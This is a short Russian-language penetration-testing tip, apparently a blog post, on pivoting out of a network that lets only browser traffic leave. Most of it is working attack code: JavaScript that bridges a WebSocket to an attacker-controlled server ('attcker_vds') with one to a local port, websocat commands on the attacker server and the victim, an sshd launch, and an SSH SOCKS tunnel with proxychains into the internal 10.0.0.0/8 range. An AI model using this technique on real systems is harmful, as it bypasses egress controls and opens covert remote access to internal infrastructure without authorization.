При пентесте бывает так что из локальной сети наружу разрешён только трафик браузера.
С помощью следующего js-кода мы можем открыть два веб-сокета - один на опорный сервер, другой на локальное приложение, после чего связать их:
var external = new WebSocket("ws://attcker_vds:80")
var internal = new WebSocket("ws://localhost:1234")
external.onopen = function() { external.onmessage = function(event) { internal.send(event.data) } }
internal.onopen = function() { internal.onmessage = function(event) { external.send(event.data) } }Все что будет приходить на один веб-сокет будет тут же уходить на другой и наоборот, словно сокеты связаны пайпом. Тк веб-сокеты не регулируются Same origin policy то вставить этот код можно на любую веб-страницу, открыв консоль разработчика (f12).
Сквозь браузер на vds и localhost полетит connect да ещё и в виде веб-сокета. Что бы превратить это в обычный listen tcp-сокет на опорном сервере потребуется команда:
vds> websocat -b ws-l:0.0.0.0:80 tcp-l:0.0.0.0:2222
а на localhost команда превращающая web-socket connect в tcp-connect:
victim> sshd.exe
victim> websocat.exe -b ws-l:127.0.0.1:1234 tcp:127.0.0.1:2222
Замечательная программа websocat, по аналогии с классическим socat, умеет создавать два, связанных пайпом, сокета или веб-сокета в любой форме connect или listen.
Теперь после того как на vds и victim веб-сокеты преобразован в обычные tcp, можно открыть любой туннель, например:
attacker> ssh -D 3128 vds -p2222
attacker> proxychains ... 10.0.0.0/8
Схема проброса:
attacker -> vds <- browser -> victim -> infraИ снова для пивотинга нам не потребовались административные права.